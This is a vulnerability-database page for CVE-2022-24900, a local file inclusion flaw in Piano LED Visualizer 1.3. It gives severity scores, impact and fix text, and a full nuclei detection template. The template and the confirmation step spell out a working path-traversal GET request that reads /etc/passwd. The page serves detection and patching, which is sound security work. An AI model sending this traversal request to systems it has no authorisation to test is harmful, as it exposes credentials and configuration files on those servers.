HexBrain

Browse / CVEs / CVE-2022-24900

CVE-2022-24900· piano led visualizer project / piano led visualizer· CWE-668, CWE-22

Piano LED Visualizer 1.3 - Local File Inclusion

highseverity
8.6CVSS score
8.4%likelihood of exploitation, next 30 days
95%of all CVEs are less likely
Readycheck to confirm it

Piano LED Visualizer 1.3 and prior are vulnerable to local file inclusion.

Impact

An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.

Fix

Apply the latest patch or update provided by the vendor to fix the local file inclusion vulnerability in the Piano LED Visualizer 1.3 application.

How to confirm it

Send: GET {{BaseURL}}/api/change_setting?second_value=no_reload&disable_sequence=true&value=../../../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2022-24900 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2022-24900

info:
  name: Piano LED Visualizer 1.3 - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: |
    Piano LED Visualizer 1.3 and prior are vulnerable to local file inclusion.
  impact: |
    An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
  remediation: |
    Apply the latest patch or update provided by the vendor to fix the local file inclusion vulnerability in the Piano LED Visualizer 1.3 application.
  reference:
    - https://github.com/onlaj/Piano-LED-Visualizer/issues/350
    - https://vuldb.com/?id.198714
    - https://nvd.nist.gov/vuln/detail/CVE-2022-24900
    - https://github.com/onlaj/Piano-LED-Visualizer/commit/3f10602323cd8184e1c69a76b815655597bf0ee5
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2022-24900
    cwe-id: CWE-668,CWE-22
    epss-score: 0.0841
    epss-percentile: 0.95032
    cpe: cpe:2.3:a:piano_led_visualizer_project:piano_led_visualizer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: piano_led_visualizer_project
    product: piano_led_visualizer
  tags: cve2022,cve,lfi,piano,iot,oss,piano_led_visualizer_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/change_setting?second_value=no_reload&disable_sequence=true&value=../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from